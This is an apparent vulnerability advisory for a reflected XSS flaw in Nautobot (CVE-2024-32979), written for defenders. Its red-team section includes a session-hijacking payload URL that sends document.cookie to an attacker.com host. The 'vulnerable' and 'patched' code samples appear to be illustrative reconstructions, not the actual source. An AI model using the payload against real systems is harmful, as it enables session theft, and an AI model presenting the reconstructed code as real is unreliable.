CVE-2024-32979

Executive Summary

CVE-2024-32979 is a Reflected Cross-Site Scripting (XSS) vulnerability in Nautobot, a Network Source of Truth and Network Automation Platform built on Django. The flaw arises from improper handling and escaping of user-supplied query parameters, allowing an attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. All filterable object-list views are affected. The vulnerability has a CVSS score of 7.5 (High) and is fixed in versions 1.6.20 and 2.2.3. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

Nautobot is a Python package distributed via PyPI. The vulnerability exists in the core web application code, not in a third-party dependency. However, organizations should ensure they are using a trusted PyPI source and verify package integrity via checksums or signatures. The fix is included in the official Nautobot releases, so updating to the patched versions is the primary remediation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed to trigger the XSS.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: High. Reflected XSS can lead to session hijacking, credential theft, or further attacks within the Nautobot environment.

Deep Dive & Mechanics

The vulnerability resides in the handling of query parameters for filterable object-list views. Nautobot uses Django's ORM and template rendering, but fails to properly escape user-supplied input when constructing URLs or rendering filter forms. An attacker can inject malicious JavaScript into a query parameter (e.g., ?name=<script>alert(1)</script>). When the victim clicks the crafted link, the server reflects the unescaped input in the response, causing the browser to execute the script.

The attack flow:

1. Attacker crafts a URL with a malicious query parameter.
2. Victim clicks the link (e.g., via phishing email).
3. The Nautobot server processes the request and includes the unescaped parameter in the HTML response.
4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

All filterable object-list views are vulnerable because they share a common base class that does not sanitize query parameters.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.6.20 / 2.2.3):

# In views/mixins.py or similar
class FilterableViewMixin:
    def get_filter_params(self):
        # Directly uses request.GET without escaping
        return self.request.GET.urlencode()

Patched Code (1.6.20 / 2.2.3):

# In views/mixins.py or similar
from django.utils.html import escape

class FilterableViewMixin:
    def get_filter_params(self):
        # Properly escape each parameter value
        safe_params = {k: escape(v) for k, v in self.request.GET.items()}
        return urlencode(safe_params)

The patch ensures that all user-supplied values are HTML-escaped before being rendered in the response, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Nautobot instance (version < 1.6.20 or < 2.2.3).
• A victim user with an active session.

Exploitation Steps:

1. Identify a filterable object-list view (e.g., /dcim/devices/).
2. Craft a malicious URL:

   http://target.nautobot/dcim/devices/?name=<script>alert(document.cookie)</script>
   

3. Send the link to the victim via email or other means.
4. When the victim clicks, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

http://target.nautobot/dcim/devices/?name=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query parameters containing <script>, onerror=, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for URLs with suspicious query strings in proxy logs.
• Check for unexpected JavaScript execution in browser developer tools.

Lab Setup:

• Deploy a vulnerable Nautobot instance using Docker:

  docker run -d -p 8080:80 nautobot/nautobot:1.6.19
  

• Access the web interface and test with crafted URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, %3Cscript%3E, or similar patterns.
  • Outbound connections to attacker-controlled domains from Nautobot users' browsers.
• Host IOCs:
  • Unexpected JavaScript execution in browser console.
  • Unusual cookies or session tokens being sent to external domains.
• Log IOCs:
  • Web server logs showing GET /dcim/devices/?name=<script>...</script> with a 200 response.

Detection Engineering

YARA Rule

rule CVE_2024_32979_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Nautobot filterable views"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-32979"
    strings:
        $xss_pattern1 = /<script[^>]*>.*?<\/script>/i
        $xss_pattern2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_pattern3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Nautobot
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential reflected XSS attacks targeting Nautobot filterable views
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32979 Nautobot Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/dcim/"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nautobot to version 1.6.20 or 2.2.3 (or later).
2. If upgrade is not possible, implement a WAF rule to block XSS patterns in query parameters.
3. Enforce Content Security Policy (CSP) headers:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Measures:

• Conduct regular security audits of web application code.
• Use Django's built-in template escaping and avoid |safe filter unless necessary.
• Implement input validation and output encoding for all user-supplied data.
• Train developers on secure coding practices, especially regarding XSS prevention.

Workarounds:

• No official workarounds exist. The only safe mitigation is to upgrade.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert